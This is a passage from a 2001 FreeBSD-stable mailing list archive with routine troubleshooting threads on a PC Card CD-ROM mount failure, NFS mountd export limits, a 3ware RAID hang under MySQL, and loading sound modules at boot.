last legs, or has something been tightened up in the driver timeouts that is tripping me up now? Is it true that CD-RW drives and media behave in much the same way as these MO drives? (I.e., sectors that you can put file systems on with newfs.) Maybe I should be looking at using one of those for backups. They're pretty cheap now. -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 15:40:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id 0508137B719 for ; Wed, 14 Mar 2001 15:40:55 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-136-24.hg.mdip.bt.net [217.32.136.24]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2ENepB17875 for ; Wed, 14 Mar 2001 23:40:52 GMT Message-ID: <008901c0acdf$4f225b30$011aa8c0@godzilla> From: "David Reid" To: Subject: cdrom Date: Wed, 14 Mar 2001 23:34:23 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm getting a No such file or directory when I try to mount a CDROM with 4-STABLE. I've seen some stuff about this and have tried as many of the suggestions as I can, but no joy. The CDROM is a pccard one so I'm wondering if that'll be the cause? Laptop is a Vaio and pccard did eventually find the CDROM when I inserted it, but it took a while and there was an error message ata4-slave: identify retries exceeded It found the unit as acd0: CDROM at ata4-master using BIOSPIO Anyone any ideas? david To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 15:45: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from isris.pair.com (isris.pair.com [209.68.2.39]) by hub.freebsd.org (Postfix) with SMTP id D64C937B718 for ; Wed, 14 Mar 2001 15:45:00 -0800 (PST) (envelope-from rooneg@isris.pair.com) Received: (qmail 1056 invoked by uid 3130); 14 Mar 2001 23:44:59 -0000 Date: Wed, 14 Mar 2001 18:44:59 -0500 From: Garrett Rooney To: David Reid Cc: stable@freebsd.org Subject: Re: cdrom Message-ID: <20010314184459.E50055@electricjellyfish.net> References: <008901c0acdf$4f225b30$011aa8c0@godzilla> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <008901c0acdf$4f225b30$011aa8c0@godzilla>; from dreid@jetnet.co.uk on Wed, Mar 14, 2001 at 11:34:23PM -0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 11:34:23PM -0000, David Reid wrote: > I'm getting a No such file or directory when I try to mount a CDROM with > 4-STABLE. I've seen some stuff about this and have tried as many of the > suggestions as I can, but no joy. The CDROM is a pccard one so I'm > wondering if that'll be the cause? Laptop is a Vaio and pccard did > eventually find the CDROM when I inserted it, but it took a while and there > was an error message > > ata4-slave: identify retries exceeded > > It found the unit as > > acd0: CDROM at ata4-master using BIOSPIO > > Anyone any ideas? you might want to give the actual error message, as that will make things easier to diagnose. the output of dmesg and the kernel config are also useful to see. (not that i'll be able to solve it based on that, but i imagine it will help someone who knows more about such things than i do) -- garrett rooney Unix was not designed to stop you from rooneg@electricjellyfish.net doing stupid things, because that would http://electricjellyfish.net/ stop you from doing clever things. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16: 9:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id B8DF237B718 for ; Wed, 14 Mar 2001 16:09:03 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-136-24.hg.mdip.bt.net [217.32.136.24]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2F08wB18115; Thu, 15 Mar 2001 00:08:58 GMT Message-ID: <010301c0ace3$3c650160$011aa8c0@godzilla> From: "David Reid" To: "Garrett Rooney" Cc: References: <008901c0acdf$4f225b30$011aa8c0@godzilla> <20010314184459.E50055@electricjellyfish.net> Subject: Re: cdrom Date: Thu, 15 Mar 2001 00:02:29 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As suggested... dmesg output from a boot with the pccard already inserted... Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.2-STABLE #5: Thu Mar 1 19:32:20 GMT 2001 root@vaio.jetnet.co.uk:/usr/src/sys/compile/VAIO Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (694.83-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x683 Stepping = 3 Features=0x383f9ff real memory = 134152192 (131008K bytes) avail memory = 126652416 (123684K bytes) Preloaded elf kernel "kernel" at 0xc03e5000. Preloaded elf module "usb.ko" at 0xc03e509c. Pentium Pro MTRR support enabled md0: Malloc disk apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 9 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xfc90-0xfc9f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xfca0-0xfcbf irq 9 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered uhub1: Philips Semiconductors product 0x1122, class 9/0, rev 1.10/1.10, addr 2 uhub1: 3 ports with 3 removable, self powered umass0: Sony USB Memory Stick Slot, rev 1.10/1.31, addr 3 intpm0: port 0x1040-0x104f irq 9 at device 7.3 on pci0 intpm0: I/O mapped 1040 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped 8000 pci0: (vendor=0x104d, dev=0x8039) at 8.0 irq 9 pcm0: port 0xfc8c-0xfc8f,0xfcc0-0xfcff mem 0xfedf8000-0xfedfffff irq 9 at device 9.0 on pci0 pci0: (vendor=0x14f1, dev=0x2443) at 10.0 irq 9 fxp0: port 0xfc40-0xfc7f mem 0xfec00000-0xfecfffff,0xfedf6000-0xfedf6fff irq 9 at device 11.0 on pci0 fxp0: Ethernet address 08:00:46:0d:76:36 pcic-pci0: at device 12.0 on pci0 fdc0: direction bit not set fdc0: cmd 3 failed at out byte 1 of 3 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model GlidePoint, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> pcic0: at port 0x3e0 iomem 0xd0000 on isa0 pcic0: Polling mode pccard0: on pcic0 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (ECP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/8 bytes threshold ppi0: on ppbus0 plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ad0: 19077MB [38760/16/63] at ata0-master UDMA33 pccard: card inserted, slot 0 (probe0:umass-sim0:0:0:0): INQUIRY. CDB: 12 0 0 0 24 0 (probe0:umass-sim0:0:0:0): NOT READY asc:3a,0 (probe0:umass-sim0:0:0:0): Medium not present Mounting root from ufs:/dev/ad0s2a ata4 at port 0x180-0x187,0x386 iomem 0xd4000-0xd4fff irq 3 slot 0 on pccard0 ata4-slave: identify retries exceeded acd0: CDROM at ata4-master using BIOSPIO When I then do mount /cdrom If I boot without the pccard in place and then insert it, the machine hangs and needs rebooting. Anyone any ideas given this extra info? david ----- Original Message ----- From: "Garrett Rooney" To: "David Reid" Cc: Sent: Wednesday, March 14, 2001 11:44 PM Subject: Re: cdrom > On Wed, Mar 14, 2001 at 11:34:23PM -0000, David Reid wrote: > > I'm getting a No such file or directory when I try to mount a CDROM with > > 4-STABLE. I've seen some stuff about this and have tried as many of the > > suggestions as I can, but no joy. The CDROM is a pccard one so I'm > > wondering if that'll be the cause? Laptop is a Vaio and pccard did > > eventually find the CDROM when I inserted it, but it took a while and there > > was an error message > > > > ata4-slave: identify retries exceeded > > > > It found the unit as > > > > acd0: CDROM at ata4-master using BIOSPIO > > > > Anyone any ideas? > > you might want to give the actual error message, as that will make things > easier to diagnose. the output of dmesg and the kernel config are also useful > to see. > > (not that i'll be able to solve it based on that, but i imagine it will help > someone who knows more about such things than i do) > > -- > garrett rooney Unix was not designed to stop you from > rooneg@electricjellyfish.net doing stupid things, because that would > http://electricjellyfish.net/ stop you from doing clever things. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:18:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id 4006637B719; Wed, 14 Mar 2001 16:18:25 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from delta.meridian-enviro.com (delta.meridian-enviro.com [10.10.10.43]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2F0INQ88573; Wed, 14 Mar 2001 18:18:24 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Wed, 14 Mar 2001 18:18:23 -0600 Message-ID: <87g0gfopf4.wl@delta.meridian-enviro.com> From: rand@meridian-enviro.com To: freebsd-stable@freebsd.org, freebsd-hardware@freebsd.org Cc: bryanh@meridian-enviro.com Subject: 3ware problems User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s%; Wed, 14 Mar 2001 16:20:34 -0800 (PST) (envelope-from smkelly@zombie.org) Received: by edgemaster.zombie.org (Postfix, from userid 1001) id 03C389915; Wed, 14 Mar 2001 18:20:34 -0600 (CST) Date: Wed, 14 Mar 2001 18:20:33 -0600 From: Sean Kelly To: freebsd-stable@freebsd.org Subject: mountd Message-ID: <20010314182033.A54552@edgemaster.zombie.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After reading the manpage and list archives, I've come to (what I believe) to be the truth in that what I am trying to do with NFS is not possible with the current implimentation of mountd. My NFS server has /usr on a single filesystem, yet I would like to share subdirectories of /usr with different attributes. An example would be: /usr/ports readonly /usr/src readonly /usr/local/build read/write The idea is that machines with very little disk space will be able to build ports and source using /usr/build/ as the workdir. As I understand it, this can't be done since /usr is a single filesystem on the server and must a) be listed on single line in /etc/exports b) have the same attributes for all exported directories Am I missing something? If not, why is FreeBSD's mountd implimented this way when it causes severe limitations such as the one I just came across? How hard would it be to reimpliment the system? Does anybody have any suggestions for a quickfix? What is the answer to life, the universe, and everything? -- Sean Kelly | PGP KeyID: 77042C7B smkelly@zombie.org | http://www.zombie.org For PGP key, send e-mail with subject "send pgp key" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:29:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 78BC337B719 for ; Wed, 14 Mar 2001 16:29:12 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2F0T7C15036; Wed, 14 Mar 2001 16:29:07 -0800 (PST) Date: Wed, 14 Mar 2001 16:29:07 -0800 From: Alfred Perlstein To: Sean Kelly Cc: freebsd-stable@FreeBSD.ORG Subject: Re: mountd Message-ID: <20010314162907.Q29888@fw.wintelcom.net> References: <20010314182033.A54552@edgemaster.zombie.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314182033.A54552@edgemaster.zombie.org>; from smkelly@zombie.org on Wed, Mar 14, 2001 at 06:20:33PM -0600 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Sean Kelly [010314 16:20] wrote: > After reading the manpage and list archives, I've come to (what I believe) > to be the truth in that what I am trying to do with NFS is not possible > with the current implimentation of mountd. > > My NFS server has /usr on a single filesystem, yet I would like to share > subdirectories of /usr with different attributes. An example would be: > > /usr/ports readonly > /usr/src readonly > /usr/local/build read/write > > The idea is that machines with very little disk space will be able to build > ports and source using /usr/build/ as the workdir. As I > understand it, this can't be done since /usr is a single filesystem on the > server and must > a) be listed on single line in /etc/exports > b) have the same attributes for all exported directories > > Am I missing something? If not, why is FreeBSD's mountd implimented this > way when it causes severe limitations such as the one I just came across? > How hard would it be to reimpliment the system? Does anybody have any > suggestions for a quickfix? What is the answer to life, the universe, and > everything? Because it's almost trivial to guess a filehandle because they are based on inodes. If you don't trust a host enough to give it the most relaxed permissions across an entire mount point then you shouldn't be giving it access to that mount point at all. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:31:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 47FDC37B718 for ; Wed, 14 Mar 2001 16:31:50 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 20081 invoked from network); 15 Mar 2001 00:25:40 -0000 Received: from acs-24-154-53-165.zoominternet.net (HELO cvzoom.net) (24.154.53.165) by scully.zoominternet.net with SMTP; 15 Mar 2001 00:25:40 -0000 Message-ID: <3AB00D75.2D5C27C3@cvzoom.net> Date: Wed, 14 Mar 2001 19:31:49 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Jordan Hubbard Cc: pfeifer@dbai.tuwien.ac.at, freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support References: <20001228132307.I94738@stat.Duke.EDU> <20010314092518L.jkh@osd.bsdi.com> <20010314110208B.jkh@osd.bsdi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jordan Hubbard wrote: > > Erm, never mind that last - as Cameron just pointed out, it works just > fine as a module too. Ahem. :) Will there be a knob in /etc/defaults/rc.conf to load the sound modules at boot time? I'd like to see this. Maybe we could have an /etc/rc.sound which could load the proper modules via rc.conf. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:34:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id DE64537B718 for ; Wed, 14 Mar 2001 16:34:08 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2F0XXV33398; Wed, 14 Mar 2001 16:33:33 -0800 (PST) (envelope-from dillon) Date: Wed, 14 Mar 2001 16:33:33 -0800 (PST) From: Matt Dillon Message-Id: <200103150033.f2F0XXV33398@earth.backplane.com> To: Sean Kelly Cc: freebsd-stable@FreeBSD.ORG Subject: Re: mountd References: <20010314182033.A54552@edgemaster.zombie.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :My NFS server has /usr on a single filesystem, yet I would like to share :subdirectories of /usr with different attributes. An example would be: : : /usr/ports readonly : /usr/src readonly : /usr/local/build read/write : :The idea is that machines with very little disk space will be able to build :ports and source using /usr/build/ as the workdir. As I :understand it, this can't be done since /usr is a single filesystem on the :server and must :a) be listed on single line in /etc/exports :b) have the same attributes for all exported directories :Am I missing something? If not, why is FreeBSD's mountd implimented this :way when it causes severe limitations such as the one I just came across? :How hard would it be to reimpliment the system? Does anybody have any The limitation is not restricted to FreeBSD. The real problem here is that NFS security is based on file handle identifiers and filesystems. You can export all the subdirectories in a filesystem wholely read-only, or wholely read-write, but not a combination of the two because the NFS server has no idea which subdirectory of that filesystem an NFS client may be accessing... NFS clients access files by file handle id's, NOT by path names. :suggestions for a quickfix? What is the answer to life, the universe, and :everything? : :-- :Sean Kelly | PGP KeyID: 77042C7B :smkelly@zombie.org | http://www.zombie.org No problem. Here's what you do: Lets say that /usr is local on all your machines but you want to export /usr/ports and /usr/src from your NFS server read-only. Simply make /usr/ports/distfiles on your NFS server be a softlink to /usr/ports.distfiles, which will be a local directory on every machine (including the NFS server). Then set the WRKDIRPREFIX variable in your /etc/make.conf on the clients. e.g. mkdir /var/portswork and in /etc/make.conf: WRKDIRPREFIX= /var/portswork (Note: some ports are huge so WRKDIRPREFIX needs to point to somewhere with a lot of space). Now you can build a port on any client using the /usr/ports exported read-only from the NFS server. If you are exporting the whole of /usr read-only to the clients, then obviously you have to choose some other directory to hold the distfiles by adjusting the /usr/ports/distfiles softlink. The softlink must be valid (point to some local directory somewhere) on both the NFS server and all the clients. -- In regards to /usr/src and /usr/obj. What I normally do is export /usr/src AND /usr/obj from the NFS server, both read-only. I do all builds on the server and then install them from the clients (i.e. I never actually build the world on a client). Same goes with kernels for the clients... build on the server, install from the client. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:35: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 9B9E737B718 for ; Wed, 14 Mar 2001 16:35:03 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2F0TTF04572; Wed, 14 Mar 2001 16:29:30 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103150029.f2F0TTF04572@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: rand@meridian-enviro.com Cc: freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems In-reply-to: Your message of "Wed, 14 Mar 2001 18:18:23 CST." <87g0gfopf4.wl@delta.meridian-enviro.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 16:29:29 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > We are having an interesting problem with a new 3ware (Escalade 6400) > controller. We have 4 75GB IBM DTLA disks configured in a RAID 1+0 > array. > > Our problem is with MySQL: It will eventually just stop with a state > of 'getblk'. The entire /var/db/mysql filesystem becomes > stuck, any attempts of doing any operations to the /var/db/mysql > filesystem simply hang. > > The rest of the system works perfectly, even after mysqld becomes > stuck. A reboot will always complain that it can't flush a buffer, but > the system comes back up and things work fine for a while, until it > happens again. > > We have a handfull of fairly large (10 to 30 million rows) tables and > can reliably reproduce the problem by inserting 30 million rows into a > table. It does not always hang at the same time, and it usually takes > a few hours of operation to get stuck. > > Does anybody have any ideas for us? Not until you tell us which version of FreeBSD you're running. 8) Seriously; there is a driver/firmware interaction that can cause this, and if you're running something older than FreeBSD 4.2, you should upgrade. You'll want to make sure you have the most recent firmware on the cards, too. If you've done this and you're still having problems, build the driver with TWE_DEBUG enabled, and boot a kernel with DDB enabled. Then, when mysql sticks, break to DDB and say db> call twe_report and send me the output. Regards, Mike -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:35:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id C82AA37B71A; Wed, 14 Mar 2001 16:35:06 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from delta.meridian-enviro.com (delta.meridian-enviro.com [10.10.10.43]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2F0Z5Q90070; Wed, 14 Mar 2001 18:35:06 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Wed, 14 Mar 2001 18:35:05 -0600 Message-ID: <87elvzoona.wl@delta.meridian-enviro.com> From: rand@meridian-enviro.com To: Mike Smith Cc: rand@meridian-enviro.com, freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems In-Reply-To: <200103150029.f2F0TTF04572@mass.dis.org> References: <87g0gfopf4.wl@delta.meridian-enviro.com> <200103150029.f2F0TTF04572@mass.dis.org> User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s% We are having an interesting problem with a new 3ware (Escalade 6400) Doug> controller. We have 4 75GB IBM DTLA disks configured in a RAID 1+0 Doug> array. Doug> Does anybody have any ideas for us? Mike> Not until you tell us which version of FreeBSD you're Mike> running. 8) Sigh, I knew I'd forget something. :) We are running 4.2-STABLE as of about a week ago. Mike> Seriously; there is a driver/firmware interaction that can cause Mike> this, and if you're running something older than FreeBSD 4.2, Mike> you should upgrade. You'll want to make sure you have the most Mike> recent firmware on the cards, too. As soon as we had the problem we upgraded the firmware. Here is the revelant parts of dmesg: twe0: <3ware Storage Controller> port 0xef60-0xef6f irq 10 at device 20.0 on pci0 twe0: 4 ports, Firmware FE6X 1.01.18.001, BIOS BEXX 1.06.00.001 twed0: on twe0 twed0: 146615MB (300268800 sectors) Mike> If you've done this and you're still having problems, build the Mike> driver with TWE_DEBUG enabled, and boot a kernel with DDB Mike> enabled. Then, when mysql sticks, break to DDB and say db> call twe_report Mike> and send me the output. Will do. Rebuilding the kernel now. Thanks for the *really* quick response. :) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:38:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from jack.go2net.com (jack.go2net.com [64.50.65.20]) by hub.freebsd.org (Postfix) with SMTP id CF2B637B718 for ; Wed, 14 Mar 2001 16:38:41 -0800 (PST) (envelope-from william.carrel@infospace.com) Received: (qmail 9616 invoked from network); 15 Mar 2001 00:42:17 -0000 Received: from ketel.go2net.com (10.200.10.75) by jack.go2net.com with SMTP; 15 Mar 2001 00:42:17 -0000 Received: (qmail 19833 invoked from network); 15 Mar 2001 00:38:35 -0000 Received: from rolf.go2net.com (HELO ?10.0.1.4?) ([10.225.33.65]) (envelope-sender ) by ketel.go2net.com (qmail-ldap-1.03) with SMTP for ; 15 Mar 2001 00:38:35 -0000 User-Agent: Microsoft-Entourage/9.0.2509 Date: Wed, 14 Mar 2001 16:38:35 -0800 Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support From: William Carrel To: Donn Miller , Message-ID: In-Reply-To: <3AB00D75.2D5C27C3@cvzoom.net> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 3/14/01 4:31 PM, "Donn Miller" wrote: > Jordan Hubbard wrote: >> >> Erm, never mind that last - as Cameron just pointed out, it works just >> fine as a module too. Ahem. :) > > Will there be a knob in /etc/defaults/rc.conf to load the sound modules > at boot time? I'd like to see this. Maybe we could have an > /etc/rc.sound which could load the proper modules via rc.conf. I hope not. Isn't /boot/loader.conf sufficient? How much initialization is required besides just loading the module? And would we then roll all module loading into rc.conf. /boot/loader.conf should work now for this too. -- Andy Carrel - william.carrel@infospace.com - +1 (206) 357-4607 Internet Sys. Eng. - Enterprise Infrastructure & Security - InfoSpace To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:49:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 8865E37B737 for ; Wed, 14 Mar 2001 16:49:35 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 26777 invoked from network); 15 Mar 2001 00:43:26 -0000 Received: from acs-24-154-53-165.zoominternet.net (HELO cvzoom.net) (24.154.53.165) by scully.zoominternet.net with SMTP; 15 Mar 2001 00:43:26 -0000 Message-ID: <3AB0119E.F19940B5@cvzoom.net> Date: Wed, 14 Mar 2001 19:49:34 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: William Carrel Cc: freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG William Carrel wrote: > I hope not. Isn't /boot/loader.conf sufficient? How much initialization is > required besides just loading the module? And would we then roll all module > loading into rc.conf. /boot/loader.conf should work now for this too. Ooops, you're right. The way I planned to do it was create a sound.sh script, put it in /usr/local/etc/rc.d, and put kldload snd_pcm kldload snd_sbc in there. I suppose this isn't as clean as putting these in /boot/loader.conf, but it's one method, nonetheless. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 16:58:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.236.200]) by hub.freebsd.org (Postfix) with ESMTP id 355F737B719 for ; Wed, 14 Mar 2001 16:58:34 -0800 (PST) (envelope-from allbery@ece.cmu.edu) Received: from pyanfar.ece.cmu.edu (xi7ju7@PYANFAR.REM.CMU.EDU [128.2.87.225]) (authenticated) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f2F0w1r08557; Wed, 14 Mar 2001 19:58:02 -0500 (EST) Date: Wed, 14 Mar 2001 19:58:00 -0500 From: "Brandon S. Allbery KF8NH" To: Donn Miller , William Carrel Cc: freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support Message-ID: <54440000.984617880@pyanfar.ece.cmu.edu> In-Reply-To: <3AB0119E.F19940B5@cvzoom.net> X-Mailer: Mulberry/2.0.6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, March 14, 2001 19:49:34 -0500, Donn Miller wrote: +----- | kldload snd_pcm | kldload snd_sbc | | in there. I suppose this isn't as clean as putting these in | /boot/loader.conf, but it's one method, nonetheless. +--->8 Your method also wouldn't work for those of us unfortunate enough to have pre-PnP cards, as far as I can tell. -- brandon s. allbery [os/2][linux][solaris][japh] allbery@kf8nh.apk.net system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university ["better check the oblivious first" -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17: 4: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from realtime.net (dragon.realtime.net [205.238.128.89]) by hub.freebsd.org (Postfix) with SMTP id C691437B718 for ; Wed, 14 Mar 2001 17:04:07 -0800 (PST) (envelope-from brucegb@realtime.net) Received: from tigerfish2.my.domain ([205.238.153.186]) by realtime.net ; Wed, 14 Mar 2001 19:03:56 -0600 Received: (from brucegb@localhost) by tigerfish2.my.domain (8.11.2/8.11.1) id f2F14R862102; Wed, 14 Mar 2001 19:04:27 -0600 (CST) (envelope-from 